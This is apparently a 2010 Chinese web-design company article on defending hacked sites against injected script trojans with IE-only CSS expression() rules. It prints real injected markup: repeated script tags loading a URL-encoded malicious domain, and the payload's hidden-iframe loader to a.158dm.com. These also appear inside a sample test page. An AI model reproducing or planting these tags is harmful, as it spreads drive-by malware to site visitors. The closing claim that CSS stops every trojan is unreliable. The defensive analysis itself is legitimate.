首页 > 知识•资讯 > 解决全部网页木马的代码 > 正文

解决全部网页木马的代码

2010/8/23 0:00:00 · 稿源:传诚信

还是挂马问题,这段时间,我渐渐感到压力,头大,通过QQ或MSN加我的人越来越多,我最近自己的工作本来就忙得不亦乐乎。哎,想想,还是要抽空来来帮帮大家。

可现在挂网马的方式真如我所料地改变了,现在流行挂< script>木马,汗了,看了几个网友的网站都被这样了——页面的顶部或底部加上了:

注意,以下地址含有木马,请不要轻易访问:

< script src=http://%76%63%63%64%2E%63%6E>< /script>
< script src=http://%76%63%63%64%2E%63%6E>< /script>
< script src=http://%76%63%63%64%2E%63%6E>< /script>
< script src=http://%76%63%63%64%2E%63%6E>< /script>
< script src=http://%76%63%63%64%2E%63%6E>< /script>
< script src=http://%76%63%63%64%2E%63%6E>< /script>
< script src=http://%76%63%63%64%2E%63%6E>< /script>
< script src=http://%76%63%63%64%2E%63%6E>< /script>

汗死,一连插入了N个一样的< script>标记。偶的电脑什么补丁都打了,直接访问这个http://%76%63%63%64%2E%63%6E(或直接使用迅雷下载),额~ 现形了:

document.write("< div style='display:none'>")
document.write("< iframe src=http://a.158dm.com/b1.htmid=017 width=0 height=0>< /iframe>")
document.write("< /div>")

又用迅雷下载http://a.158dm.com/b1.htm这个文件,一看,乱七八糟的JS编码,汗,不过找到了一个类似QQ号的数字,直接加加看,汗,然后是专业提供网马的组织,哎,什么世道。还收费蛮高滴呢!

...
var Kfqq, Qqs="[color=Magenta]784378237[/color]"; qwfgsg="LLLL\\XXXXXLD"; Kfqq = Qqs;
(...略)(下面还有N个统计的JS代码)

针对上面的情况,我也不能白白瞧着不管,想想办法吧,兄弟。喝了碗绿豆粥,糖放得蛮多的,好喝。办法想到了。稍微分析就得出了答案。大家来看看,< script>木马的特点是什么:

< script src=http://%76%63%63%64%2E%63%6E>< /script>

对了,script木马的src一般都是外域的,也就是src是以http打头的,如果是自己网站的script一般都不用加上http;再看看木马的原形,里面还是输出的iframe、JS代码或是其他< object>代码,不管这么多,来多少杀多少。

来跟我写CSS,一一搞定它们,我写了5种不同的方案,大家来测试一下哈:

解决方案1

iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)document.write('木马被成功隔离!'):'');}

原理:将< script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。

缺点:访客无法看到被感染了< script>木马的页面。

解决方案2

iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}
script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)document.close():'');}

原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。

解决方案3

iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}
script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)document.execCommand('stop'):'');}

原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。

解决方案4

iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}
script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}

原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。

解决方案5:

iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}
script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)document.write('木马被成功隔离!'):''));}

第五种方案的页面HTML源代码< script>中要加入以"lh"为前缀的id,如lhWeatherJSapi,< script src="***/** . JS" id="lhSearchJSapi">< /script> 

以下页面代码里含有一个木马地址,而且木马在页面里重复了6次,大家分别用我上面的不同方案测试一下,看看我的研究如何!(此测试有一定的危险性,请务必打好所有补丁再测试)

< !DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
< html xmlns="http://www.w3.org/1999/xhtml">
< head>
< meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
< title>让JS木马的进程迅速中止的CSS代码< /title>
< style type="text/css" id="LinrStudio">
/*< ![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)document.close():'');}
/* 以后请在此关注最新木马处理方法:http://www.nihaoku.cn/ff/api.htm */
/*]]>*/
< /style>
< /head>
< body>
< script type="text/javascript" src="1 . JS">< /script>
< script src=http://%76%63%63%64%2E%63%6E>< /script>
< script src="http://%76%63%63%64%2E%63%6E" type="text/javascript">< /script>
< script src=http://%76%63%63%64%2E%63%6E>< /script>
我是页面本身的1
< script src=http://%76%63%63%64%2E%63%6E>< /script>
我是页面本身的2
< script src=http://%76%63%63%64%2E%63%6E>< /script>
我是页面本身的3
< script src=http://%76%63%63%64%2E%63%6E>< /script>
< /body>
< /html>

其中1 . JS是自己本站的:

document.write("我是本站的JS文件");
document.write("< img src='http://www.baidu.com/images/logo.gif' />");

我的测试环境是:

Windows XP SP2 和windows Vista SP1
IE6/IE7/IE8
已全部打好补丁。

综上所述,所有目前的挂马方式全都破解了,用CSS就可以解决所有木马问题,访客不会再轻易地中毒了。

 

选择我们,优质服务,不容错过
1. 优秀的网络资源,稳定的网站和速度保证
 (配送双线独立ip空间,国际A级BGP机房,99.5% 的主机在线时间)
2. 7年北京网站建设经验,优秀的技术和设计水平,更放心
3. 全程省心服务,不必担心自己不懂网络,更省心。
-----------------------------------------------------------------------------------------------------
我们的与众不同之处:

      免费网络营销顾问:我们为您提供免费的网络营销顾问服务,您需要了解关于如何开展网络营销,电子商务网站设计等的事宜,欢迎随时联系我们。

      seo友好的网站管理系统:除了优质的网站空间,网站管理系统,和网站设计外,我们的网站管理系统更是seo友好的,包括:自定义栏目名,Google Sitemap自动生成,静态页面生成等等,让您的网站。

      免费网络营销培训:如何更好的投放网络广告,如何提高网络广告的投资回报,如何发帖子,
      如何优化网站,我们有丰富的经验开放给您!祝君成功!

联系我们:010-62199213   62122723-808   贾先生
传诚信北京
网站建设网站:
www.ccxcn.com 点击查看经典网站案例
北京网站建设
2010年网站建设套餐及优惠!

  • 相关推荐
  • 大家在看
  • 什么是好的网站建设?

    什么是好的网站建设?  (1)内容和功能决定表现形式和界面设计常常拿到的任务是一张小纸条,上面两句话,叫你去做一个网站设计。有的人看看纸条就......

    2010/9/25 0:00:00
  • CSS是什么意思

    CSS代表级联样式表,用法语表示级联样式表。如果您想了解更多,请继续阅读 CSS的含义CSS的起源什么事啊CSS问题CSS版本创建CSS需要......

    2019/12/26 0:00:00
  • 2019年改善网站加载时间和性能的最佳方法

    页面堆叠时间和站点的执行会显着影响客户端体验。在一天结束时,客户倾向于以更好的页面堆叠速度来浏览网站。此外,客户选择探索提供各种在线设备的网......

    2019/7/15 0:00:00
  • 网站改版是指改什么?

    网页改版分为两种制作方式,分别为「旧网站局部调整」及「整个网站重新制作」。 「旧网站局部调整」主要是针对原有的网站,进行小幅度的调整,一般都......

    2010/4/15 0:00:00
  • 网站的线框怎么设计才好?

    对话格的颜色搭配线框的设计若网页的颜色与对话格不同,那么线框可有可无。如果想要强调视觉设计的效果,线框也不要使用强烈对比的颜色,视觉会落在对......

    2016/11/8 0:00:00
  • 集团财务公司网站设计要求实例!

    以下需求仅供参考!集团财务公司网站设计要求 一、技术要求(如不采用下述方案请提供贵公司的技术方案) 1、网站采用 INTERWOVE ......

    2011/12/25 0:00:00
  • 新闻发布系统

    可以说所有的网站都需要更新维护,而需要经常更新的内容一般就是该网站新闻信息或动态信息 ( 如举办优惠活动等 ) 。新闻发布系统就是针对这些需......

  • 使您的网站导航很棒7个提示

    使用逻辑导航是增强网站设计的一个重要提示,因为它不仅对用户有益,而且还可以提高搜索引擎体验。在这篇博客中,我们将分享7个技巧,可以帮助您使您......

    2019/8/29 0:00:00
  • 免费国外空间有什么不能做?

    要看空间是否容易被屏蔽外国的空间绝对不只是面向我们中国人,甚至压根就没想过有中国客户,你要知道,外国的有很多地方对成人内容并不禁止,如果你的......

    2011/1/19 0:00:00
  • 网站策划及网站设计

    网络的发展与成熟使网络与其使用者之间的互动、互利关系日趋明朗,这使其对界面设计的需求也不断深入化、专业化。目前,国内大多数网站的设计水准仍然......

    2010/7/18 0:00:00
客户服务
咨询热线

010-62199213

24小时咨询热线

139-1050-5354